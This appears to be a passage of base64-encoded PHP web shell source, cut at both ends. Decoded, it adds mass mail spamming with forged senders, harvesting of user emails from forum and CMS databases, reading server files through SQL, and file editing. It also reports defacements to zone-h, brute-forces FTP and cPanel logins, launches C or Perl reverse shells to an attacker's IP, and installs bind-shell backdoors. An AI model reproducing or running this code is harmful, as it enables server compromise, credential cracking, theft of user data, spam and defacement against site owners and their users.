ZigkX1BPU1RbJ3NlbmRNYWlsU3Rvcm0nXSkKCQl7CgkJCSR0bz0kX1BPU1RbJ3RvJ107CgkJCSRub209JF9QT1NUWydub20nXTsKCQkJJENvbW1lbnRzPSRfUE9TVFsnQ29tbWVudHMnXTsKCQkJaWYgKCR0byA8PiAiIiApCgkJCXsKCQkJCWZvciAoJGkgPSAwOyAkaSA8ICRub20gOyAkaSsrKQoJCQkJewoJCQkJCSRmcm9tID0gcmFuZCAoNzEsMTAyMDAwMDAwMCkuIkAiLiJBdHRhY2tlci5jb20iOwoJCQkJCSRzdWJqZWN0PSBtZDUoIiRmcm9tIik7CgkJCQkJaWYoQG1haWwoJHRvLCRzdWJqZWN0LCRDb21tZW50cywiRnJvbTokZnJvbSIpKQoJCQkJCWVjaG8gIlsrXSAkaSBzcGFtbWVkICEhCiI7CgkJCQkJZWxzZSAKCQkJCQl7CgkJCQkJCWVjaG8gIlstXSAkaSBGYWlsZWQgISEgCiI7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkjICAgRXh0cmFjdCBFbWFpbHMJCQkJCgkJIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCWVsc2UgaWYoJF9QT1NUWydnZXRFbWFpbHMnXSkKCQl7CgkJCSRlbWhvc3QgPSAkX1BPU1RbJ0VNX0hPU1QnXTsKCQkJJGVtdXNlciA9ICRfUE9TVFsnRU1fVVNFUiddOwoJCQkkZW1wYXNzID0gJF9QT1NUWydFTV9QQVNTJ107CgkJCSRlbWRiID0gJF9QT1NUWydFTV9EQiddOwoJCQkkZW10YWIgPSAkX1BPU1RbJ0VNX1RBQkxFJ107CgkJCSRlbWNvbCA9ICRfUE9TVFsnRU1fQ09MVU1OJ107CgkJCSR0cnkyQ29ubmVjdCA9IEBteXNxbF9jb25uZWN0KCRlbWhvc3QsJGVtdXNlciwkZW1wYXNzKTsKCQkJaWYoISR0cnkyQ29ubmVjdCkgCgkJCXsKCQkJCWVjaG8gIlstXSBDYW4ndCBDb25uZWN0IFRvIERCICEhIFsgdXNlciBuYW1lIHx8IHBhc3N3b3JkIGlzIHdyb25nICEgXSAuCiI7CgkJCX0KCQkJJHRyeTJTZWxlY3QgPSBAbXlzcWxfc2VsZWN0X2RiKCRlbWRiKTsKCQkJaWYoISR0cnkyU2VsZWN0ICYmICR0cnkyQ29ubmVjdCkgCgkJCXsKCQkJCWVjaG8gIlstXSBEQiBOYW1lIGlzIFdyb25nICEhIC4gIjsKCQkJfQoJCQkkc3FsID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRlbXRhYiIpOwoJCQl3aGlsZSAoJHJlcyA9IEBteXNxbF9mZXRjaF9hcnJheSgkc3FsKSkKCQkJewoJCQkJZWNobyAnJy4kcmVzWyIkZW1jb2wiXS4nCic7CgkJCX0KCQl9CgkJLy8gSGVscCAKCQllbHNlIGlmKCRfUE9TVFsnZW1haWxFeHRyYWN0b3JIZWxwJ10pCgkJewoJCQllY2hvICJUaGlzIGlzIFNvbWUgVGFibGVzIE5hbWUgJiBDb2x1bW5zIE5hbWUgRm9yIFNvbWUgRmFtIFNjcmlwdHMgLi4KClsrXSBWQnVsbGV0aW4KVGFibGUtbmFtZSA6IHVzZXIKY29sdW1uLW5hbWUgOiBlbWFpbAoKWytdIFdvcmRQcmVzcyAKVGFibGUtbmFtZSA6IHdwX3VzZXJzCmNvbHVtbi1uYW1lIDogdXNlcl9lbWFpbCAKClsrXSBKb29tbGEgClRhYmxlLW5hbWUgOiBqb3NfdXNlcnMKY29sdW1uLW5hbWUgOiBlbWFpbAoKWytdIFBIUEJCIApUYWJsZS1uYW1lIDogcGhwYmJfdXNlcnMKY29sdW1uLW5hbWUgOiB1c2VyX2VtYWlsCgpbK10gSS5QLkJvYXJkIApUYWJsZS1uYW1lIDogaWJmX21lbWJlcnMKY29sdW1uLW5hbWUgOiBlbWFpbAoKWytdIFNNRiAKVGFibGUtbmFtZSA6IHNtZl9tZW1iZXJzCmNvbHVtbi1uYW1lIDogZW1haWxBZGRyZXNzICI7CgkJfQoJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkjICAgTXlTUUwgUXVlcnkKCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJZWxzZSBpZigkX1BPU1RbJ015U1FMUXVlcnknXSkKCQl7CgkJCSRxdV9ob3N0ID0kX1BPU1RbJ1FVX0hPU1QnXTsKCQkJJHF1X3VzZXIgPSRfUE9TVFsnUVVfVVNFUiddOwoJCQkkcXVfcGFzcyA9JF9QT1NUWydRVV9QQVNTJ107CgkJCSRxdV9kYiA9JF9QT1NUWydRVV9EQiddOwoJCQkkcXVlcnkgPSRfUE9TVFsnUVUnXTsKCQkJaWYgKGVtcHR5KCRfUE9TVFsnUVVfSE9TVCddKSkKCQkJJHF1X2hvc3QgPSAnbG9jYWxob3N0JzsKCQkJJHF1ZXJ5ID0gc3RyX3JlcGxhY2UoIlxcIiwiIiwkcXVlcnkpOwoJCQlpZiAoIWVtcHR5KCRfUE9TVFsnUVUnXSkpCgkJCXsKCQkJCSR0cnlDb25uZWN0aW9uID0gQG15c3FsX2Nvbm5lY3QoJHF1X2hvc3QsJHF1X3VzZXIsJHF1X3Bhc3MpOwoJCQkJaWYoISR0cnlDb25uZWN0aW9uKQoJCQkJewoJCQkJCWVjaG8gIlstXSBVbmFibGUgVE8gQ29ubmVjdCBEQVRBQkFTRSAhIFVzZXJuYW1lIE9yIFBhc3N3b3JkIElzIFdyb25nICEhIjsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQkkc2VsZWN0REIgPSBAbXlzcWxfc2VsZWN0X2RiKCRxdV9kYik7CgkJCQkJaWYoISRzZWxlY3REQikKCQkJCQl7CgkJCQkJCWVjaG8gIlstXSBEYXRhYmFzZSBOYW1lIElzIFdyb25nICEhIjsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsKCQkJCQkJJHFxb2sxID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsKCQkJCQkJaWYoISRxcW9rMSkKCQkJCQkJewoJCQkJCQkJZWNobyAiWy1dIENhbid0IEV4ZWN1dGUgVGhlIFF1ZXJ5IjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJCUBteXNxbF9jbG9zZSgpOwoJCQl9CgkJCWlmICgkcXFvazEpCgkJCXsKCQkJCXVwZGF0ZSgpOyAKCQkJfQoJCX0KCQkJIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCQkjICAgU1FMIFJlYWRlcgoJCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJCWVsc2UgaWYgKCRfUE9TVFsnc3FsMlJlYWQnXSkKCQkJewoJCQkJJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsKCQkJCSR1c2VyID0gJF9QT1NUWyd1c2VyJ107CgkJCQkkcGFzcyA9ICRfUE9TVFsncGFzcyddOwoJCQkJJGRiID0gJF9QT1NUWydkYiddOwoJCQkJJHVuaXF1ZSA9IHVuaXFpZCgnTicpOwoJCQkJJGZpbGUgPSAkX1BPU1RbJ2ZpbGUnXTsKCQkJCSRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCdcXCcsJGZpbGUpOwoJCQkJJHF1ZXJ5ID0gYXJyYXkoCgkJCQkiQ1JFQVRFIFRFTVBPUkFSWSBUQUJMRSAkdW5pcXVlIChmaWxlIExPTkdCTE9CKSIsCgkJCQkiTE9BRCBEQVRBIElORklMRSAnIi5teXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJGZpbGUpLiInIElOVE8gVEFCTEUgJHVuaXF1ZSIsCgkJCQkiU0VMRUNUICogRlJPTSAkdW5pcXVlIgoJCQkJKTsKCQkJCSRjb25uZWN0ID0gbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwgJHBhc3MpOwoJCQkJbXlzcWxfc2VsZWN0X2RiKCRkYiwkY29ubmVjdCk7CgkJCQlmb3JlYWNoKCRxdWVyeSBhcyAkQWxscXVlcmllcykKCQkJCXsKCQkJCQkkbXlzcWxRdWVyeSA9IG15c3FsX3F1ZXJ5KCRBbGxxdWVyaWVzLCRjb25uZWN0KTsKCQkJCQl3aGlsZSgkbGluZSA9IEBteXNxbF9mZXRjaF9yb3coJG15c3FsUXVlcnkpKQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSk7CgkJCQkJZWNobyAiXG4iOwoJCQkJfQoJCQl9CgkJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkJIyAgIEVkaXQgRmlsZQoJCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJCWVsc2UgaWYoJF9QT1NUWydlZGl0RmlsZVN1Ym1pdCddKQoJCQl7CgkJCQkkZmlsZTJFZGl0ID0gJF9QT1NUWydlZGl0RmlsZSddOwoJCQkJZWNobyBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUyRWRpdCk7CgkJCX0KCQkJZWxzZSBpZigkX1BPU1RbJ3NhdmVFZGl0ZWRGaWxlJ10pCgkJCXsKCQkJCSRmaWxlTmFtZSA9ICRfUE9TVFsnZmlsZTJlZGl0J107CgkJCQkkbmV3RmlsZSA9ICRfUE9TVFsnRXhlY3V0aW9uQXJlYSddOwoJCQkJJHRyeXRvR2VuZXJhdGUgPSBHZW5lcmF0ZUZpbGUoJGZpbGVOYW1lLCRuZXdGaWxlKTsKCQkJCWlmKCR0cnl0b0dlbmVyYXRlKQoJCQkJewoJCQkJCWVjaG8gIlsrXSBGaWxlIFNhdmVkICEiOwoJCQkJfQoJCQkJZWxzZSAKCQkJCXsKCQkJCQllY2hvICJbLV0gRmFpbGVkIFRvIFNhdmUgRmlsZSAhISI7CQoJCQkJfQoJCQl9CgkJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkJIyAgIFpvbmUgSCBBdHRhY2tlcgoJCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJCWVsc2UgaWYoJF9QT1NUWydTZW5kTm93VG9ab25lSCddKQoJCQl7CgkJCQlvYl9zdGFydCgpOwoJCQkJJHN1YiA9IEBnZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsKCQkJCWlmKCFpbl9hcnJheSgiY3VybCIsICRzdWIpKQoJCQkJewoJCQkJCWRpZSgnWy1dIEN1cmwgSXMgTm90IFN1cHBvcnRlZCAhISAnKTsKCQkJCX0KCQkJCgkJCQkkaGFja2VyID0gJF9QT1NUWydkZWZhY2VyJ107CgkJCQkkbWV0aG9kID0gJF9QT1NUWydoYWNrbW9kZSddOwoJCQkJJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsKCQkJCSRzaXRlID0gJF9QT1NUWydkb21haW4nXTsKCQkJCQoJCQkJaWYgKGVtcHR5KCRoYWNrZXIpKQoJCQkJewoJCQkJCWRpZSAoIlstXSBZb3UgTXVzdCBGaWxsIHRoZSBBdHRhY2tlciBuYW1lICEiKTsKCQkJCX0KCQkJCWVsc2VpZigkbWV0aG9kID09ICItLS0tLS0tLVNFTEVDVC0tLS0tLS0tIikgCgkJCQl7CgkJCQkJZGllKCJbLV0gWW91IE11c3QgU2VsZWN0IFRoZSBNZXRob2QgISIpOwoJCQkJfQoJCQkJZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIAoJCQkJewoJCQkJCWRpZSgiWy1dIFlvdSBNdXN0IFNlbGVjdCBUaGUgUmVhc29uIik7CgkJCQl9CgkJCQllbHNlaWYoZW1wdHkoJHNpdGUpKSAKCQkJCXsKCQkJCQlkaWUoIlstXSBZb3UgTXVzdCBJbnRlciB0aGUgU2l0ZXMgTGlzdCAhICIpOwoJCQkJfQoJCQkJJGkgPSAwOwoJCQkJJHNpdGVzID0gZXhwbG9kZSgiXG4iLCAkc2l0ZSk7CgkJCQl3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIAoJCQkJewoJCQkJCWlmKHN1YnN0cigkc2l0ZXNbJGldLCAwLCA0KSAhPSAiaHR0cCIpIAoJCQkJCXsKCQkJCQkJJHNpdGVzWyRpXSA9ICJodHRwOi8vIi4kc2l0ZXNbJGldOwoJCQkJCX0KCQkJCQlab25lSCgiaHR0cDovL3pvbmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIsICRoYWNrZXIsICRtZXRob2QsICRuZWRlbiwgJHNpdGVzWyRpXSk7CgkJCQkJZWNobyAiU2l0ZSA6ICIuJHNpdGVzWyRpXS4iIERlZmFjZWQgIVxuIjsKCQkJCQkrKyRpOwoJCQkJfQoJCQkJZWNobyAiWytdIFNlbmRpbmcgU2l0ZXMgVG8gWm9uZS1IIEhhcyBCZWVuIENvbXBsZXRlZCBTdWNjZXNzZnVsbHkgISEgIjsKCQkJfQoJCQkjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJCSMgICBGVFAgQW5kIENwYW5sZSBCcnV0ZSBGb3JjZSBBdHRhY2tlcgoJCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJCWVsc2UgaWYoJF9QT1NUWydCcnV0ZUZvcmNlQ3BhbmVsQW5kRlRQJ10pCgkJCXsKCQkJCSRjb25uZWN0X3RpbWVvdXQ9NTsKCQkJCXNldF90aW1lX2xpbWl0KDApOwoJCQkJJHN1Ym1pdD0kX1JFUVVFU1RbJ0JydXRlRm9yY2VDcGFuZWxBbmRGVFAnXTsKCQkJCSR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107CgkJCQkkcGFzcz0kX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOwoJCQkJJHRhcmdldD0kX1JFUVVFU1RbJ3RhcmdldCddOwoJCQkJJGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOwoJCQkJCgkJCQlpZihlbXB0eSgkdGFyZ2V0KSkKCQkJCXsKCQkJCQkkdGFyZ2V0ID0gImxvY2FsaG9zdCI7CgkJCQl9CgkJCQkKCQkJCWZ1bmN0aW9uIGZ0cF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCkKCQkJCXsKCQkJCQkkY2ggPSBjdXJsX2luaXQoKTsKCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGhvc3QiKTsKCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOwoJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgMSk7CgkJCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOwoJCQkJCWN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsKCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwoJCQkJCSRkYXRhID0gY3VybF9leGVjKCRjaCk7CgkJCQkJaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSAKCQkJCQl7CgkJCQkJCSBwcmludCAiRXJyb3IgOiBDb25uZWN0aW9uIFRpbWVvdXQgUGxlYXNlIENoZWNrIFRoZSBUYXJnZXQgSG9zdG5hbWUgLiI7CgkJCQkJCSBleGl0OwoJCQkJCX0KCQkJCQllbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApCgkJCQkJewoJCQkJCQlwcmludCAiWytdIENyYWNraW5nIFN1Y2Nlc3MgV2l0aCBVc2VybmFtZSAoJHVzZXIpIGFuZCBQYXNzd29yZCAoJHBhc3MpIjsKCQkJCQl9CgkJCQkJY3VybF9jbG9zZSgkY2gpOwoJCQkJfQoJCQkJZnVuY3Rpb24gY3BhbmVsX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KQoJCQkJewoJCQkJCSRjaCA9IGN1cmxfaW5pdCgpOwoJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGhvc3Q6MjA4MiIpOwoJCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CgkJCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CgkJCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOwoJCQkJCWN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsKCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwoJCQkJCSRkYXRhID0gY3VybF9leGVjKCRjaCk7CgkJCQkJaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSAKCQkJCQl7IAoJCQkJCQlwcmludCAiWy1dIENvbm5lY3Rpb24gVGltZW91dCBQbGVhc2UgQ2hlY2sgVGhlIFRhcmdldCBIb3N0bmFtZSAuIjsKCQkJCQkJZXhpdDsKCQkJCQl9CgkJCQkJZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKQoJCQkJCXsKCQkJCQkJcHJpbnQgIlsrXSBDcmFja2luZyBTdWNjZXNzIFdpdGggVXNlcm5hbWUgKCR1c2VyKSBhbmQgUGFzc3dvcmQgKCRwYXNzKSI7CgkJCQkJfQoJCQkJCWN1cmxfY2xvc2UoJGNoKTsKCQkJCX0KCQkJCWlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSkKCQkJCXsKCQkJCQlpZihlbXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSkKCQkJCQl7IAoJCQkJCQlwcmludCAiWy1dIFBsZWFzZSBDaGVjayBUaGUgVXNlcnMgb3IgUGFzc3dvcmQgTGlzdCBFbnRyeSAuIC4gLiI7CgkJCQkJfQoJCQkJCWlmKGVtcHR5KCR1c2VycykpCgkJCQkJeyAKCQkJCQkJcHJpbnQgIlstXSBQbGVhc2UgQ2hlY2sgVGhlIFVzZXJzIExpc3QgRW50cnkgLiAuIC4iOyAKCQkJCQl9CgkJCQkJaWYoZW1wdHkoJHBhc3MpKQoJCQkJCXsgCgkJCQkJCXByaW50ICJbLV0gUGxlYXNlIENoZWNrIFRoZSBQYXNzd29yZCBMaXN0IEVudHJ5IC4gLiAiOwoJCQkJCX0KCQkJCQkkdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7CgkJCQkJJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7CgkJCQkJcHJpbnQgIlt+XSMgQ3JhY2tpbmcgUHJvY2VzcyBTdGFydGVkLCBQbGVhc2UgV2FpdCAuLi4iOwoJCQkJCWZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikgCgkJCQkJewoJCQkJCQkkcHVyZXVzZXIgPSB0cmltKCR1c2VyKTsKCQkJCQkJZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIAoJCQkJCQl7CgkJCQkJCQkkcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7CgkJCQkJCQlpZigkY3JhY2t0eXBlID09ICJmdHAiKQoJCQkJCQkJewoJCQkJCQkJCWZ0cF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7CgkJCQkJCQl9CgkJCQkJCQlpZiAoJGNyYWNrdHlwZSA9PSAiY3BhbmVsIikKCQkJCQkJCXsKCQkJCQkJCQljcGFuZWxfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkJIyAgIEJhY2sgQ29ubmVjdGlvbgoJCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJCWVsc2UgaWYoJF9QT1NUWydiYWNrY29ubiddKQoJCQl7CgkJCQlpZiAoIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ0MnKSkKCQkJCXsgCgkJCQkJJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyAKCQkJCQkkcG9ydCA9IHRyaW0oJF9QT1NUWydiYWNrcG9ydCddKTsgCgkJCQkJdHVsaXMoImJjYy5jIiwkYmFja19jb25uZWN0X2MpOyAKCQkJCQlFeGUoJ2djYyAtbyBiY2MgYmNjLmMnKTsgCgkJCQkJRXhlKCdjaG1vZCA3NzcgYmNjJyk7IAoJCQkJCUB1bmxpbmsoJ2JjYy5jJyk7IAoJCQkJCUV4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOyAKCQkJCQkkbXNnID0gIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kaXAuIiBwb3J0ICIuJHBvcnQuIiAuLi4iOyAKCQkJCX0gCgkJCQllbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2twb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICgkX1BPU1RbJ3VzZSddID09ICdQZXJsJykpIAoJCQkJeyAKCQkJCQkkaXAgPSB0cmltKCRfUE9TVFsnaXAnXSk7CgkJCQkJJHBvcnQgPSB0cmltKCRfUE9TVFsnYmFja3BvcnQnXSk7CgkJCQkJdHVsaXMoImJjcCIsJGJhY2tfY29ubmVjdCk7CgkJCQkJRXhlKCJjaG1vZCAreCBiY3AiKTsgCgkJCQkJJHAyPXdoaWNoKCJwZXJsIik7CgkJCQkJRXhlKCRwMi4iIGJjcCAiLiRpcC4iICIuJHBvcnQuIiAmIik7CgkJCQkJJG1zZyA9ICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJGlwLiIgcG9ydCAiLiRwb3J0LiIgLi4uIjsgCgkJCQl9IAoJCQl9CgkJCSMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkJIyAgIEJpbmQgQ29ubmVjdGlvbgoJCQkjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJCWVsc2UgaWYoJF9QT1NUWydiaW5kJ10pCgkJCXsKCQkJCWlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSAKCQkJCXsgCgkJCQkJJHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTsgCgkJCQkJJHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pOyAKCQkJCQl0dWxpcygiYmRjLmMiLCRwb3J0X2JpbmRfYmRfYyk7IAoJCQkJCUV4ZSgnZ2NjIC1vIGJkYyBiZGMuYycpOyAKCQkJCQlFeGUoJ2NobW9kIDc3NyBiZGMnKTsgCgkJCQkJQHVubGluaygiYmRjLmMiKTsgCgkJCQkJRXhlKCIuL2JkYyAiLiRwb3J0LiIgIi4kcGFzc3dyZC4iICYiKTsgCgkJCQkJJHNjYW4gPSBFeGUoInBzIGF1eCIpOyAKCQkJCQlpZihlcmVnaSgiLi9iZGMgJHBvciIsJHNjYW4pKQoJCQkJCXsgCgkJCQkJCSRtc2cgPSAiUHJvY2VzcyBmb3VuZCBydW5uaW5nLCBiYWNrZG9vciBzZXR1cCBzdWNjZXNzZnVsbHkuIjsgCgkJCQkJfSAKCQkJCQllbHNlIAoJCQkJCXsgCgkJCQkJCSRtc2cgPSAiUHJvY2VzcyBub3QgZm91bmQgcnVubmluZywgYmFja2Rvb3Igbm90IHNldHVwIHN1Y2Nlc3NmdWxseS4iOyAKCQkJCQl9IAoJCQkJfSAKCQkJCQoJCQkJZWxzZWlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnUGVybCcpKSAKCQkJCXsgCgkJCQkJJHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTsgCgkJCQkJJHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pOyAKCQkJCQl0dWxpcygiYmRwIiwkcG9ydF9iaW5kX2JkX3BsKTsgCgkJCQkJRXhlKCJjaG1vZCA3NzcgYmRwIik7IAoJCQkJCSRwMj13aGljaCgicGVybCIpOyAKCQkJCQlFeGUoJHAyLiIgYmRwICIuJHBvcnQuIiAmIik7IAoJCQkJCSRzY2FuID0gRXhlKCJwcyBhdXgiKTsgCgkJCQkJaWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSkKCQkJCQl7IAoJCQkJCQkkbXNnID0gIlByb2Nlc3MgZm91bmQgcnVubmluZywgYmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LiI7IAoJCQkJCX0gCQoJCQkJCWVsc2UgCgkJCQkJeyAKCQkJCQkJJG1zZyA9ICJQcm9jZXNzIG5vdCBmb3VuZCBydW5uaW5nLCBiYWNrZG9vciBub3Qgc2V0dXAgc3VjY2Vzc2Z1bGx5LiI7IAoJCQkJCX0gCgkJCQl9IAkKCQkJfQoKCQkKCWVjaG8gIjwvdGV4dGFyZWE+IjsKCWlmKCRfUE9TVFsnZWRpdEZpbGVTdWJtaXQnXSkKCXsKCQllY2hvICI8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nIi4kX1BPU1RbJ2VkaXRGaWxlJ10uIicgbmFtZT0nZmlsZTJlZGl0JyAvPiAiOwoJCWVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTYXZlJyBuYW1lPSdzYXZlRWRpdGVkRmlsZSc+IjsKCX0KCWVjaG8gIjwvZm9ybT4KCgk8IS0tIE1haW4gVGFibGUgLS0+Cgk8dGFibGUgd2lkdGg9JzEwMCUnPjx0cj4KCTx0ZCB3aWR0aD0nMzAlJyBoZWlnaHQ9MzA+Cgk8IS0tIEVuZCBPZiBNYWluIFRhYmxlIC0tPgoJPCEtLSBDb21tYW5kcyBBbGlhcy0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPkNvbW1hbmRzIEFsaWFzIDwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPiI7U2VsZWN0Q29tbWFuZCgkb3MpOyBlY2hvICI8aW5wdXQgCgpuYW1lPSdzdWJtaXRDb21tYW5kcycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRXhlY3V0ZUNvbW1hbmQnPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwhLS0gRW5kIE9mIENvbW1hbmRzIEFsaWFzLS0+Cgk8L3RkPgoJPHRkIHdpZHRoPSczMCUnIGhlaWdodD0zMD4KCTwhLS0gQ29tbWFuZCBMaW5lIC0tPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCTx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+PHRyPgogICAgPHRkIHdpZHRoPScxMicgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgogICAgPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Jz5Db21tYW5kIExpbmUgPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyBpZD0nY29tbWFuZExpbmUnIHZhbHVlPSdkaXInIHNpemU9NTk+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZGlyZWN0b3J5JyB2YWx1ZT0iLmdldGN3ZCgpLiIgc2l6ZT01OT4KCTxpbnB1dCBuYW1lPSdFeGVjdXRlJyBpZD0nRXhlY3V0ZScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRXhlY3V0ZScgPgoJPC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPCEtLSBFbmQgT2YgQ29tbWFuZCBMaW5